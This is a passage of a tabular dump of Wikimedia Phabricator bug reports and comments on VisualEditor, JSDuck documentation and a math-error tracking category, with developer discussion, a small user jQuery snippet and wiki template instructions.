+**URL**: https://en.wikipedia.org/wiki/User:TheDJ/Sandbox",Low,25.0,1366465260,1366790189.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-2izho3en3c7veqknv2wr,task_description,resolved,True,c1,1,True,False,True,-11,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+214104,VisualEditor: The old form <source> tag of <syntaxhighlight> extension is not supported,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934095,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2izho3en3c7veqknv2wr,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+214097,VisualEditor: The old form <source> tag of <syntaxhighlight> extension is not supported,"
+
+*** This bug has been marked as a duplicate of bug 47579 ***",,,1366790189,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-2izho3en3c7veqknv2wr,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+214089,VisualEditor: The old form <source> tag of <syntaxhighlight> extension is not supported,"This is probably something Parsoid needs to handle (or, rather, SyntaxHighlight with the Parsoid functionality to cope with 'redirects' between extension tags). Gabriel, does this sound right to you?
+
+@Raimond - bug 43126 is about editing these blocks; this is just about displaying them correctly.",,,1366471273,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2izho3en3c7veqknv2wr,task_subcomment,,True,c1,1,True,,,-11,,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0
+214083,VisualEditor: The old form <source> tag of <syntaxhighlight> extension is not supported,Dupe of bug 43126?,,,1366465834,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-2izho3en3c7veqknv2wr,task_subcomment,,True,c1,1,False,,,-11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+49453,VisualEditor: VE tab missing oldid when using edit source on an oldid,"https://en.wikipedia.org/w/index.php?title=Phil_Thompson&action=edit&oldid=535300833
+
+Note that in this mode, the VE tab is missing the oldid
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://en.wikipedia.org/w/index.php?title=Phil_Thompson&action=edit&oldid=535300833",Low,25.0,1366464180,1368809793.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-v3h2ouiwohdu44mwy2g6,task_description,declined,True,c1,1,True,False,True,-11,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+214061,VisualEditor: VE tab missing oldid when using edit source on an oldid,"All of the tabs in this mode go to current, not oldid, so I think this is something that either should be fixed upstream in MW core (in which case, VE should just magically work), or be left as is, given that users will expect the current behaviour.",,,1368809793,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v3h2ouiwohdu44mwy2g6,task_subcomment,,True,c1,1,True,,,-7,,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+214052,VisualEditor: VE tab missing oldid when using edit source on an oldid,"In this mode without the VE, the wikitext edit tab doesn't go to the oldid, it goes to the curid page; I think we're going to have to think about how to let users get the VE from here.
+
+Timo, any thoughts?",,,1366471108,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v3h2ouiwohdu44mwy2g6,task_subcomment,,True,c1,1,True,,,-11,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+49421,"VisualEditor: ""Edit source"" tab text should be ""Create source"" or similar when page is non-existent","Currently the ""Edit source"" button's label is the same whether the page is extant or not. This should change.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Low,25.0,1366394700,1368885140.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-lr6aehasmla6m24l7lfy,task_description,resolved,True,c1,1,True,False,True,-11,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0
+212326,"VisualEditor: ""Edit source"" tab text should be ""Create source"" or similar when page is non-existent",Merged; will go out with wmf5.,,,1368885140,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-lr6aehasmla6m24l7lfy,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+212321,"VisualEditor: ""Edit source"" tab text should be ""Create source"" or similar when page is non-existent",Related URL: https://gerrit.wikimedia.org/r/64276 (Gerrit Change Iafba040cb8eb53017f38f2099a473e0e43e2ec46),,,1368791290,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-lr6aehasmla6m24l7lfy,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+49113,Use JSDuck syntax for inline examples in code documentation,"That is https://github.com/senchalabs/jsduck/wiki/Inline-examples
+
+For instance:
+
+resources/js/ext.translate.editor.js
+9:       * Example usage:
+
+resources/js/ext.translate.proofread.js
+107:     * Example usage:
+
+resources/js/ext.translate.pagemode.js
+10:      * Example usage:",Low,25.0,1365665640,1487992074.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-nqzemfntve3l7ortesoj,task_description,declined,True,c1,1,True,False,False,-12,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+815595,Use JSDuck syntax for inline examples in code documentation,"JSDuck's `@example` syntax is for a live demo of running code. For OOjs UI and VisualEditor this can be useful in places for classes and methods that are largely about their visual and interactive rendering (not about the shape return value itself). However I'm not sure that's useful in the case of the Translate extension.
+
+To render code examples with syntax highlighting, just use three backticks (or indentation) to create a code section in JSDuck's markdown rendering. Closing this task as it doesn't seem actionable right now.
+
+Right now Translate documentation isn't rendered/published anywhere, so in its current form the code examples are readable as-is. If they are published, one of the three examples will need to be indented for it to be preformatted correctly.",,,1487992074,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-nqzemfntve3l7ortesoj,task_subcomment,,True,c1,3,True,,,190,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,0,1,0,0,1,0,0,0,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0
+219320,Use JSDuck syntax for inline examples in code documentation,"Example of how usage example is used:
+
+https://doc.wikimedia.org/VisualEditor/master/#!/api/ve.init.sa.Target
+
+(especially notice the live preview)
+
+https://doc.wikimedia.org/mediawiki-core/master/js/#!/api/mw.html",,,1379593886,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-nqzemfntve3l7ortesoj,task_subcomment,,True,c1,3,True,,,11,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+49111,"VisualEditor: ""Report problem"" button should give some feedback","- Edit an article on the English Wikipedia in the VE
+
+- Click ""Review and save""
+
+- Click ""Something is wrong""
+
+- Enter text into the field and click ""report problem""
+
+Nothing happens - either the error report is not sent, or the fact that it was sent is not conveyed to the user.
+
+Reproduced three times in a current Chromium version (Chromium/25.0.1364.160) on Ubuntu.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1365661620,1366397733.0,PHID-USER-wlku5ja6envbi4cz2etp,False,,False,PHID-TASK-tz5is7r52hxlpbizafzp,task_description,resolved,True,c1,1,False,False,True,-12,,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+219172,"VisualEditor: ""Report problem"" button should give some feedback","The HTTPS element of this is now seemingly fixed in production. On submission, the user gets a ""Your problem has been reported. Thank you."" message. Marking as closed.",,,1366397733,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tz5is7r52hxlpbizafzp,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,1,0,1,0,0,0
+219167,"VisualEditor: ""Report problem"" button should give some feedback","To clarify, Gabriel checked the log and the reports I sent indeed do not seem to have made it through.
+
+And I agree that a ""thank you"" alert would be nice, but I would already have been happy if the ""Report a problem"" dialog box would just have closed after clicking the ""Report problem"" button. Instead, nothing happened at all...",,,1365716252,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-tz5is7r52hxlpbizafzp,task_subcomment,,True,c1,1,False,,,-12,,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+219162,"VisualEditor: ""Report problem"" button should give some feedback",IIRC posting from Wikipedia pages accessed via https has always been broken because of client-side security restrictions for subrequests. I think this is an instance of that problem.,,,1365715063,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-tz5is7r52hxlpbizafzp,task_subcomment,,True,c1,1,True,,,-12,,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+219157,"VisualEditor: ""Report problem"" button should give some feedback","The reports go to a private log that Gabriel monitors. :-)
+
+We're likely to kill the feature in the medium-term anyway, but a ""Thank you for your report"" JS alert wouldn't go amiss.
+
+Timo, thoughts?",,,1365714340,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tz5is7r52hxlpbizafzp,task_subcomment,,True,c1,1,True,,,-12,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,0
+49037,Add tracking category to pages with errors in <math>,"An automatic tracking category for pages with errors in <math> (when parsed by texvc) would help finding these pages and fixing the errors.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1365503760,1467323599.0,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_description,resolved,True,c1,1,False,False,False,-12,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1
+687076,Add tracking category to pages with errors in <math>,"I see nobody answers. I am closing the task by myself. If there is a problem, reopen it.
+
+Closed as resolved by [[https://gerrit.wikimedia.org/r/292576]].",,,1467323599,,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,True,,,156,,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,1,1,1,0,0,1
+686165,Add tracking category to pages with errors in <math>,"The discussion was moved to [[https://en.wikipedia.org/wiki/MediaWiki_talk:Math-tracking-category-error|here]].
+",,,1467219463,,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,True,,,156,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+686155,Add tracking category to pages with errors in <math>,"No problem.
+",,,1467218718,,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,True,,,156,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+686076,Add tracking category to pages with errors in <math>,Thank you. I have posted an edit request at that page on en.wiki.,,,1467210767,,PHID-USER-7cpk77uy2iq7bxf6hac6,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,False,,,156,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+685981,Add tracking category to pages with errors in <math>,"First of all, @Jonesey95, you can't do it only in vector or only in your account. We are talking about removing pages from category, so it can be done for your entire wiki and nothing else.
+Second of all, there is no link for this case help, because it's too obvious.
+1. Create a new page [[{{ns:8}}:math-tracking-category-error]] in your wiki.
+2. Put there for example a code:
+{{#switch:{{NAMESPACENUMBER}]|1|2|3|118|2600=:|Pages with math errors}]
+3. Where the numbers list is all namespace numbers where you want just a message, not a category - here, for example, talk, user, user talk, draft and flow.
+4. And the last parameter is the category name (you'll see it in the wiki editor in the page creation moment).
+5. Save the page.
+6. Open one page with a math error in good namespace for editing. Make sure the category is there.
+7. Open one page with a math error in bad namespace for editing. Make sure the category is not there.
+8. If there is a problem, replace "":"" with ""-"" in the code and try again.
+9. When you are sure it works, run a nulledit bot on the current category content.
+10. Done.
+ ",,,1467195164,,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,True,,,156,,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,1,1,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,1
+685979,Add tracking category to pages with errors in <math>,"First of all, @Jonesey95, you can't do it only in vector or only in your account. We are talking about removing pages from category, so it can be done for your entire wiki and nothing else.
+Second of all, there is no link for this case help, because it's too obvious.
+1. Create a new page [[{{ns:8}}:math-tracking-category-error]] in your wiki.
+2. Put there for example a code:
+{{#switch:{{NAMESPACENUMBER}]|1|2|3|118|2600=:|Pages with math errors}]
+3. Where the numbers list is all namespace numbers where you want just a message, not a category - here, for example, talk, user, user talk, draft and flow.
+4. And the last parameter is the current name (you'll see it in the wiki editor in the page creation moment).
+5. Save the page.
+6. Open one page with a math error in good namespace. Make sure the category is there.
+7. Open one page with a math error in bad namespace. Make sure the category is not there.
+8. If there is a problem, replace "":"" with ""-"" in the code and try again.
+9. When you are sure it works, run a nulledit bot on the current category content.
+10. Done.
+ ",,,1467194961,,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,True,,,156,,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,1,1,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,1
+685892,Add tracking category to pages with errors in <math>,"I would love to do it myself (for everyone, not just in my own vector.js). @IKhitron, do you have a link to instructions on how to take care of it on en.wiki? Thanks.",,,1467177192,,PHID-USER-7cpk77uy2iq7bxf6hac6,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,False,,,156,,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,0,0,0,0
+685764,Add tracking category to pages with errors in <math>,"I meant one line in wiki code, @SalixAlba and @Jonesey95, not jawascript.
+",,,1467148543,,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,True,,,156,,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0
+685668,Add tracking category to pages with errors in <math>,"It is a little annoying. But I'm convinced it is worth the extra effort. In time the number of false positives will go down and each page is re-rendered. Some talk pages which discuss rendering errors  will remain.
+
+If its really a problem this bit of javascript in your vector.js will hide most of the talk pages.
+
+  jQuery( document ).ready( function( $ ) {	
+    	if( document.title == ""Category:Pages with math errors - Wikipedia, the free encyclopedia"") {
+		$("".mw-category-group a"").each(function(ind,ele) {
+			var title = ele.innerHTML;
+			if(title.startsWith(""User:"") || title.startsWith(""Talk:"") || title.startsWith(""User talk:"") 
+			 || title.startsWith(""Wikipedia:"") || title.startsWith(""Wikipedia talk:"") ) {
+				root = ele.parentElement;
+				$(root).css({""display"":""none""});
+				console.log(ele.innerHTML);
+			}
+		})
+	   }
+     }",,,1467141776,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,False,,,156,,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+685608,Add tracking category to pages with errors in <math>,"But @Jonesey95, you can do it in a minute by yourself.
+",,,1467135776,,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,True,,,156,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,1,0,0,0,0
+685557,Add tracking category to pages with errors in <math>,"If possible, it might be a good idea to limit the namespaces to which this category applies. For an example, see the Citation Style 1 error messages and categories on en.wiki, e.g. ""Category:Pages with archiveurl citation errors"":
+
+""Pages in the Book talk, Category talk, Draft, Draft talk, Education Program talk, File talk, Help talk, MediaWiki talk, Module talk, Portal talk, Talk, Template talk, TimedText talk, User, User talk, and Wikipedia talk namespaces are not included in the error tracking categories.""
+
+The error message still shows on these pages, but they are not categorized. There is little point in categorizing someone's User sandbox page; it clutters the category with false positives. ",,,1467130992,,PHID-USER-7cpk77uy2iq7bxf6hac6,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,False,,,156,,0,1,0,0,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,1,1,0,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+684114,Add tracking category to pages with errors in <math>,"@Aklapper? Or maybe @Quiddity? Thanks.
+",,,1466776616,,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,True,,,155,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0
+683638,Add tracking category to pages with errors in <math>,It looks like this is fixed in T134872 by https://gerrit.wikimedia.org/r/292576 We can probably close this as a duplicate. ,,,1466691225,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,False,,,155,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+683294,Add tracking category to pages with errors in <math>,So we now seem to have [[Category:Pages with math errors]] on en wiki at least. ,,,1466630074,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,False,,,155,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1
+683283,Add tracking category to pages with errors in <math>,"Hello, @Aklapper. It works. I think you need close this task as resolved.
+",,,1466629083,,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,True,,,155,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0
+495660,Add tracking category to pages with errors in <math>,I think we would need comunity consensus for enabling the MathSearch extension in production... and a lot of cleanup work... sinc it's currently more desinged as demo/proof of concept.,,,1437662084,,PHID-USER-4sfm3grxdo6hnogm4iqe,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,False,,,107,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+214673,Add tracking category to pages with errors in <math>,"**physik** wrote:
+
+(In reply to Richard Morris from comment #2)
+> This error is made worse by the difference between the syntax used in
+> MathJax and texvc. In
+> http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/
+> Feedback&oldid=569279227#Math_text_that_doesn.27t_parse_when_in_VE
+> a unicode character was used in a formula, the editor was probably using
+> MathJax so the error did not show up. There seem to be a few such errors. A
+> google search
+> https://www.google.co.uk/search?q=%22Failed+to+parse%22+site:en.wikipedia.
+> org+-Talk%3A
+> can be used to find some.
+
